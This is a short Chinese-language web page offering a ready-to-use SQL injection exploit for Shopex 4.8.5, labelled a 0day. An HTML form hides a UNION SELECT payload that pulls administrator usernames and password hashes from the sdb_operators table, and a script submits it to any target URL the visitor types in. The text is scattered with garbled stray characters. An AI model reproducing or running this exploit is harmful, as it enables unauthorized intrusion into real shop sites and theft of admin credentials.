Shopex 4.8.5 SQL Injection Exp 0day

admin

<center>
' \4 I0 s6 w# Z3 U<title>中国网络渗透测评联盟-中测联盟|-Shopex 4.8.5 SQL Injection Exp 在线版</title>
4 m% A8 C/ y  ]' ^; u/ S- I<form action="" method="post" name="submit_url">
网址:<input type=text name=url value="http://www.political-security.com/" size=62><br><br>
<input type="hidden" name="goods[goods_id]" value="3">
$ L: ~1 n2 x8 p9 j6 [<input type="hidden" name="goods[product_id]" value="1 and 1=2 union select 1,2,3,4,5,6,7,8,concat(0x245E,username,0x2D3E,userpass,0x5E24),10,11,12,13,14,15,16,17,18,19,20,21,22 from sdb_operators">
" V5 h0 H- C" e, y4 N<input type="submit" value="给我注入"  onclick=fsubmit()>
</form> <br /><br />填上你要注入的网址（注意要打上http:// 要不跳转不了） 点“给我注入”就要以了。//www.political-security.com
/ w# W* o0 f+ w
( v! @' z2 D* o. J3 O<script>
. v, R1 j8 G7 W2 kfunction fsubmit(){
form = document.forms[0];
# U0 Y; K( k6 @/ W6 Nform.action = form.url.value+'/?product-gnotify';
: K9 _# r& s) T/ a2 Y# _) Lform.submit();
( D: m6 l, M8 Y+ P}
) z; C5 l0 n- j</script>